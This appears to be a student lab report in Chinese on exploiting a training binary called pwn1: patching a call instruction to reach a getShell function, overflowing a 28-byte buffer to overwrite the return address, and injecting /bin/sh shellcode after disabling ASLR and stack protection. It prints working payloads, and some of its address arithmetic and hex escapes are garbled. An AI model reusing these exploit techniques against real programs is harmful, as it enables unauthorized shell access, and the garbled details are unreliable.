2019-2020-2 网络对抗技术 20175224 Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段

强行修改程序执行流

以及注入运行任意代码。

1.2 基础知识

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
JNE：条件转移指令，如果不相等则跳转。（机器码：75）
JE：条件转移指令，如果相等则跳转。（机器码：74）
JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移 Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果
objdump -d：从objfile中反汇编那些特定指令机器码的section。
perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。
ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。
|：管道，将前者的输出作为后者的输入。
>：输入输出重定向符，将前者输出的内容输入到后者中。

vim16进制显示切换：

将显示模式切换为16进制模式：%!xxd

将16进制切换回ASCII码模式:%!xxd -r

二、直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器，指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术

使用objdump -d pwn1 | more将pwn1反汇编，得到以下代码
输入/getShell快速锁定到对应函数

可以看出80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令，在main函数中调用位于地址8048491处的foo函数
e8表示“call”，即跳转。
getShell函数的起始地址：804847d
执行跳转指令时EIP寄存器中的值：80484ba
求差得FFFF FFC3，所以call指令对应的机器指令应改为e8 c3 ff ff ff

修改具体如下：

vi pwn2进入命令模式
输入:%!xxd将显示模式切换为十六进制
/e8 d7查找要修改的内容
进入插入模式，修改d7为c3
输入:%!xxd -r显示为ASCII码

使用:wq！保存并退出
反汇编查看修改后的代码，发现call指令正确调用getShell：

三、通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址学习目标：理解攻击缓冲区的结果，掌握返回地址的获取进阶：掌握ELF文件格式，掌握动态技术

objdump -d pwn1 | more命令反汇编

该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞。
由上图，读入字符串时，系统只预留了28字节(-0x1c)的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址。
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

尝试发现，当输入为以下字符时已经发生段错误，产生溢出，我们使用gdb进行调试：

由此可得eip的值为ASCII的5，即输入字符串的“5”的部分发生溢出，尝试将5的部分换成12345678进一步确认：

由此 1234 那四个数覆盖堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

反汇编查看getshell的内存地址：

由此可知应输入

11111111222222223333333344444444x7dx84x04x08

使用perl命令构造文件

perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

使用十六进制查看指令xxd查看input文件。a表示换行
查看结果
```
(cat input; cat ) | ./pwn1
```

四、注入Shellcode并执行

Shellcode就是一段机器指令（code）

通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。

在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

首先使用apt-get install execstack安装execstack

修改一下设置

execstack -s pwn1：设置堆栈可执行
execstack -q pwn1 ：查询文件的堆栈是否可执行，结果为X表示可执行
more /proc/sys/kernel/randomize_va_space：查看寄存器地址随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space：关闭随机化
more /proc/sys/kernel/randomize_va_space：再次查看确认，0表示已关闭
（此处因为最初操作失误，截图时已经关闭）

构造要注入的payload：

perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode

上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
注意：最后一个字符不能是x0a

确定x4x3x2x1到底该填什么：

在第一个终端用(cat input_shellcode;cat) | ./pwn1注入攻击，回车后保持这个终端不动，打开另一个终端
另一个终端
- ps -df |grep pwn1查看其进程号为4486
- gdb调试进程
  
  启动gdb，调试此进程
  
  attach 4486（进程号）
  
  通过disassemble foo来查看注入buf的内存地址
  
  使用break *0x080484ae设置断点，在此终端输入c，在另一终端输入回车，使其继续执行。
  
  再返回调试终端，使用info r esp查找地址。
  使用x/16x 0xffffd1fc查看其存放内容，看到了9080cd0b，就是返回地址的位置。
  
  shellcode地址：0xffffd2ec+0x00000004=0xffffd200

回到第一个终端

输入命令

perl -e 'print "A" x 32;print "x00xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

再用(cat input_shellcode;cat) | ./pwn1查看结果

五、问题与思考

（1）实验中的问题

问题1：/e8 d7找不到
问题1解决方案：赋予root权限
问题2：无法定位软件包
问题2解决方案：

在etc/apt 的sources.list 添加镜像源

deb http://http.kali.org/kali kali-rolling main non-free contrib 或

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

然后sudo apt-get update即可